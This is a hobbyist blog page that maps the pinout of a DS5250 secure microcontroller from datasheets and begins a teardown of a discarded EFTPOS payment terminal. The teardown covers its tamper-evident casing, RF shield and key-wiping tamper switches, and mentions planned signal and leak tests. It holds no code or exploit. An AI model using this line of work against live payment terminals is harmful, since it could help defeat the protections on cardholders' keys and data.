<span style="font-family: "arial"; font-size: 9.5pt;">• Hardware support for external flash memory (loader ROM support included on the DS5250)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">On the uVision Keil documentation for the ds5250 we see a list of features and registers</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">Simulated Features</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">The following on-chip peripherals are simulated by the Keil Software µVision Debugger.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Clock Divider and Multiplier</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾External Memory Stretch Cycle</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Interrupts 15S/2L (Including External)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Port 0</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Port 1</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Port 2</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Port 3</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Power Saving Modes (Idle and Power Down)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Ring Oscillator</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Serial UART 0 (Enhanced Interface)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Serial UART 1 (Enhanced Interface without T2 as BRG)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Timer 0</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Timer 1</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Timer 2 (Extended Timer 2)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Timer Rate Control ; 4 Clocks Per Machine Cycle</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Watchdog Timer</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">The following on-chip peripherals are not simulated.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Boot Loader: ACON.6, BP, IA</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾CRC Generator: CRC1, CRC2, CRC3, CRC4</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Encryption (PEK1, PEK2, DEK) and Decryption (PBDD, PBDC)</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Flash Program Memory:FLMC</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Memory Management Unit: ACON.7, MSIZE, MCEN, DMOS, MCON, RAMST, ROMST, MXAH</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Modular Arithmetic Accelerator: MACT, MAS0, MAS1</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Port 4: P4</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Random Number Generator: RNR</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Real-Time Clock: TRIM, RTASS, RTAS, RTAM, RTAH, RTCC, RTCSS, RTCS, RTCM, RTCH, RTCD0, RTCD1</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Reset Control: RAR, RCR, RTR</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾Self Destruct Interrupt: PMR.1, PMR.0</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">◾User DES Engine: UDESD, UDESC</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">Now we are starting to get a good look at what is going on, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">it seems the ds5002fp shares around about 80 shared pins these may or may not be used</span><br />
<span style="font-family: "arial"; font-size: 9.5pt;"> in the same places on the ds5250</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;"> as on the ds5002fp but thats almost 80% of the pin names available to us, </span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">Going back to the ds5250 sample datasheet we see that it is a direct swap for the ds5240</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;"><span style="font-family: "arial"; font-size: 9.5pt;"><br /></span></div><div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">But this is also a dead end in terms of available information</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">So we have a public datasheet, its for the Ds5002fp, BINGO, </span><br />
<span style="font-family: "arial"; font-size: 9.5pt;">this is the list of the 80 pins that both the 5002fp and the 5250</span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">80pin Package Share,</span><br />
<br />
<span style="font-family: "arial"; font-size: 9.5pt;"> these are :</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-yWazOulzWpeEpgWNQMj5tcM6dH_mBiAz02_Kumk00-vRzMg4bOMgPuf8pGjVi4Q1-xSIa6sIXSBHB8Lv15zVF897edA5G9mTTcoK2TATySg4cQVIl-GkM2S9u8Icd6suFfQs2OCv6UKU/s1600/14.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-yWazOulzWpeEpgWNQMj5tcM6dH_mBiAz02_Kumk00-vRzMg4bOMgPuf8pGjVi4Q1-xSIa6sIXSBHB8Lv15zVF897edA5G9mTTcoK2TATySg4cQVIl-GkM2S9u8Icd6suFfQs2OCv6UKU/s1600/14.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4q5YBrsDvzrNg7UBQYaGvFJkZKTJZKsT7QNwv0IajtQ-uetqcmDfA8cQLLuQ75r1b-hcV893Rm08TxTTNoNte1A2_7CgiAXfenuyOzTxjudTTY9DStHUCpXVLZjFqdV6-oCVC7F8u9ucl/s1600/15.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4q5YBrsDvzrNg7UBQYaGvFJkZKTJZKsT7QNwv0IajtQ-uetqcmDfA8cQLLuQ75r1b-hcV893Rm08TxTTNoNte1A2_7CgiAXfenuyOzTxjudTTY9DStHUCpXVLZjFqdV6-oCVC7F8u9ucl/s1600/15.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">Thus giving us this :</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEeLmuxYfWLZFDPvHB7-bHFXlSeC8gtwigGSAS3YWMAOzTJhbvV5nQkLHJDtOwfKLIldatf4BX3T9fNPMgAbsSNB-a9GR2DIgjw_uxAGUgLutrunZtcH_ZrUgkgMuUZZL3ZbbqQ15tGpLS/s1600/16.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEeLmuxYfWLZFDPvHB7-bHFXlSeC8gtwigGSAS3YWMAOzTJhbvV5nQkLHJDtOwfKLIldatf4BX3T9fNPMgAbsSNB-a9GR2DIgjw_uxAGUgLutrunZtcH_ZrUgkgMuUZZL3ZbbqQ15tGpLS/s1600/16.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBlDFacGZtfTHb0eU-b5x8Gn9rnymVj1PGSiZEU5pUMpTCamvjMcjyMIpGXyFVTXTiZtlSOlKIFwGuP0uFiSd__mn-PAW9snI4cb2ClA4Cxs2PgeSC_JDNGB46z-PO4dfj4oApoxE_ctsa/s1600/17.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="586" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBlDFacGZtfTHb0eU-b5x8Gn9rnymVj1PGSiZEU5pUMpTCamvjMcjyMIpGXyFVTXTiZtlSOlKIFwGuP0uFiSd__mn-PAW9snI4cb2ClA4Cxs2PgeSC_JDNGB46z-PO4dfj4oApoxE_ctsa/s640/17.jpg" width="640" /></a></div>
<div style="text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">As app note 2034 states:</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">Upgrading Designs to the 100-Pin QFP</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">The DS5250 in the 100-pin QFP package provides all the features of the 80-pin package </span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">**>>except<<** for **>>>pin-for-pin<<<** compatibility with the DS5002FP and support for the </span><span style="font-family: "arial"; font-size: 9.5pt;"> </span><span style="font-family: "arial"; font-size: 9.5pt;">DS5002FP modes of memory interfacing.</span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "arial"; font-size: 9.5pt;">This means that the two 80 pin packages do share the same pins now all that is left if to identify the other 20 pins </span><span style="font-family: "arial"; font-size: 9.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJLXVC43HzW2MlMpzh1N89xRlnS7M57YT-sL0RjK6mWKo7HHvBLG5EuZWDUaW_reyhR8PepHyBZjj5KznSNtqtDt5tN3HlAJ2c95hN7tQedlTTxm7BtIDas4G4JOpzNoV_kc5EAOrXBCC/s1600/18.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJLXVC43HzW2MlMpzh1N89xRlnS7M57YT-sL0RjK6mWKo7HHvBLG5EuZWDUaW_reyhR8PepHyBZjj5KznSNtqtDt5tN3HlAJ2c95hN7tQedlTTxm7BtIDas4G4JOpzNoV_kc5EAOrXBCC/s1600/18.jpg" /></a></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">From this i noted these maybe the extras i am looking for:</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">6 BAx</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">6 I/O ports </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">RTCx1</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">RTCx2 </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">RX TX - Serial lines</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">SDI input number 2</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">Bringing me up to 97 pins in total, thats alot closer than the 0 we had at the start,</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">As I Move forward i face a new issue in knowing how to place these extra 20 pins </span><br />
<span style="font-family: "times new roman"; font-size: 10.5pt;">into the data set we have so far, the idea i had is to dissolve the packages of both a 5002 and 5250 80pin</span><br />
<span style="font-family: "times new roman"; font-size: 10.5pt;"> also a 5250 100pin pack then using imaging techniques </span><br />
<span style="font-family: "times new roman"; font-size: 10.5pt;">observe the similarities between the dies noting differences to try and work out where these new pins belong. </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div><div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;"><span style="font-family: "times new roman"; font-size: 10.5pt;"><br /></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;"><br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 21pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">Untill next time stay sharp ay :P</span><br />
<br /></div>
FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-40794593321668036242015-09-30T19:07:00.005+10:002022-09-16T09:17:34.802+10:00Reverse Engineering A Eftpos Machine Part 1My first blog entry will be about a eftpos keypad terminal that I found whilst dumpster diving(in a sence),<br />
I don't wish to name the brand as it's not relevant, I do wish to employ as many reverse engineering techniques as I can muster to discover as much as I can and learn as we go,so I will try and break it down but I'll come back and recompile it all more comprehensively when I can and please be tolerant of my poor English(grammar), school never really agreed with me but here we go it features an rj-45 connection for both power and data, it has a 128 x 64 glcd and in terms of card reading it features a magnetic strip reader and a chip reader, it has a 3v backup battery as well, it has a 1-9 keypad and a few acc buttons, now as you could assume any system of embedded hardware that is going to be at the hands of a 3rd party (the shop keeper, you and I),<br />
will have to employ various techniques to ensure that its operations of are safeguarded against malicious intent, mainly concerning the inner workings of that machine (cryptographic keys and private data).<br />
now this device features many tamper devices that will render the data and maybe the machine useless.<br />
It's main housing is held together with locking pins, so it was heated around the areas of the pins and pried open, it's tamper resistance here is that unless you can perfect it you will always distort or deform the edges of the casing upon opening it.<br />
Now once it's open its got a far bit on display as you can see in the photos, it has a break out of 6 pins for a communication method that I have not yet worked on as for now it's visual and a full destructive breakdown before I break a few more open for signal and info/leak tests,<br />
It also has a lovely live rf sheild attached over the cryptographic mcu (see sheet attached),<br />
Under this sheild is 2 pressure release switches these are assumed to be connected to the mcu's data tamper switches that wipe the memory and can be activated we will assume by removal of the battery without putting 3v on the jumper adjacent to the battery and also by any other number of tamper related evidence the device can determine/detect, the mcu data sheet is covered by a disclosure agreement so no luck as to a pin out, that's ok, I have drawn up a colour chart with some of the main ic components, I have also to date scratched down to bond wires and photographed as many layers as I can and started to determine the connections between components, this work is tedious but very interesting and as it stands as to learning about electronics has forced me to really think out side the box,<br />
So until next time or when the layouts are complete stay safe and stay looking out for free electronics(you know you need them).<br />
Frank.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzdIy_CqQOBF9I92rI1B4mABc-ug22gQ3nqoM0NWeUG9i1ZfMr_WDeABc1ntIQ0EY8Ge6zXElCJ9NkzWq6PjIy3Kg_-naSynuv0cOEa1ffFWRMRCQHxxqM_PlV0DVaJJepUEEI-1k_DJAg/s1600/pcb+keypad+-+7" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzdIy_CqQOBF9I92rI1B4mABc-ug22gQ3nqoM0NWeUG9i1ZfMr_WDeABc1ntIQ0EY8Ge6zXElCJ9NkzWq6PjIy3Kg_-naSynuv0cOEa1ffFWRMRCQHxxqM_PlV0DVaJJepUEEI-1k_DJAg/s320/pcb+keypad+-+7" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDTCCffOM6xBIiBqyp-apWqjcznrcp98c0OzqUdtkonc6FoS-pA22Dzf1E2TZOeV59HGnYaugok-QnXhXOQBFZm-MSkSntfTj4uc3-cwkz00V7Tv5LGPyhAm4F7TC9QDW6tGBgZtfdiEFi/s1600/pcb+keypad+-+6" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDTCCffOM6xBIiBqyp-apWqjcznrcp98c0OzqUdtkonc6FoS-pA22Dzf1E2TZOeV59HGnYaugok-QnXhXOQBFZm-MSkSntfTj4uc3-cwkz00V7Tv5LGPyhAm4F7TC9QDW6tGBgZtfdiEFi/s320/pcb+keypad+-+6" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnjlC-Gx5FkC2_CpDC-oiCZN50rltP-SjP1aPdLOaYcqWYM2Wj8pBUEjHlfIVQbc229r4RZxU3JzSkpWwYMX8FIWkbVtHDh7UFIluTI4dRV2F-eJVzO_hnbMp5Nx5sINoGxZ10a7oxXBYo/s1600/pcb+keypad+-+8" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnjlC-Gx5FkC2_CpDC-oiCZN50rltP-SjP1aPdLOaYcqWYM2Wj8pBUEjHlfIVQbc229r4RZxU3JzSkpWwYMX8FIWkbVtHDh7UFIluTI4dRV2F-eJVzO_hnbMp5Nx5sINoGxZ10a7oxXBYo/s320/pcb+keypad+-+8" width="155" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2fc7yvuTko5aBmvKjhQ__CR7tCXJGL9oylSvjnQbGd8GLuQpd628A_pw9XLhVmqxlufXoU_v0DI40XdZXnqUX-M2sd_c3AfgaEjZoFj9TyrXQkelbXMre2YUauCkINHeG_HcxtNkhcXVQ/s1600/pcb+keypad+-+5" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2fc7yvuTko5aBmvKjhQ__CR7tCXJGL9oylSvjnQbGd8GLuQpd628A_pw9XLhVmqxlufXoU_v0DI40XdZXnqUX-M2sd_c3AfgaEjZoFj9TyrXQkelbXMre2YUauCkINHeG_HcxtNkhcXVQ/s320/pcb+keypad+-+5" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLvGseKscHJTChoH2sWXIl5jGRSTyIMn0n08sKJcAiOIS-SswtD2IKETVxDHFpa80zAodEwFhkGC6PjyoSfDZkyYxtGeIJp3p493NarGdHxSVxQVOTSZe4ToCjpQJDNgZWgCMpTXig6TNQ/s1600/pcb+keypad+-+9" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLvGseKscHJTChoH2sWXIl5jGRSTyIMn0n08sKJcAiOIS-SswtD2IKETVxDHFpa80zAodEwFhkGC6PjyoSfDZkyYxtGeIJp3p493NarGdHxSVxQVOTSZe4ToCjpQJDNgZWgCMpTXig6TNQ/s320/pcb+keypad+-+9" width="155" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNVpPgt7q08_bjKUTtc7hLfaYLU6XjF7-0TgrMaCgTrxL0Oh6dHvBa138WC7AoJBKcqAoknWwpIFlU3yczE1DYrXBFRpO-nwt5yPOqbkO7IL2YuGJiKds7Yul8RtpQwAfK6ShqAyC5b5dH/s1600/pcb+keypad+-+4" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNVpPgt7q08_bjKUTtc7hLfaYLU6XjF7-0TgrMaCgTrxL0Oh6dHvBa138WC7AoJBKcqAoknWwpIFlU3yczE1DYrXBFRpO-nwt5yPOqbkO7IL2YuGJiKds7Yul8RtpQwAfK6ShqAyC5b5dH/s320/pcb+keypad+-+4" width="179" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
